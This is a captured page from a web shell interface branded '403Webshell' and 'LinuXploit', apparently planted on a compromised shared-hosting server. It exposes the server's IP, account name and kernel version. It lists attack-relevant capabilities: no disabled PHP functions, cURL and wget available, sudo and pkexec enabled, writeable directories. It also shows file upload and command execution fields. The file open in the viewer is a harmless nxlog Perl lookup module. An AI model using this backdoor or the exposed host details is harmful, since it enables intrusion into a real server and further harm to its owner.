403Webshell
Server IP : 67.20.76.190  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux host2028.hostmonster.com 5.14.0-611.47.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 8 20:00:39 EDT 2026 x86_64
User : jegocaco ( 1556)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/nxlog/modules/extension/perl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/nxlog/modules/extension/perl/Functions.pm
#!/usr/bin/perl

use strict;
use warnings;

use Log::Nxlog;
use Socket;

sub a_record_lookup {

    # The event data is passed here when this method is invoked by the module
    my ($event) = @_;
    Log::Nxlog::log_info('a_record_lookup triggered');
    my $ptr = Log::Nxlog::get_field( $event, 'user_ip' );
    my $ip = inet_ntoa( inet_aton($ptr) );
    if ($ip) {
        Log::Nxlog::set_field_string( $event, 'user_ip', $ip );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit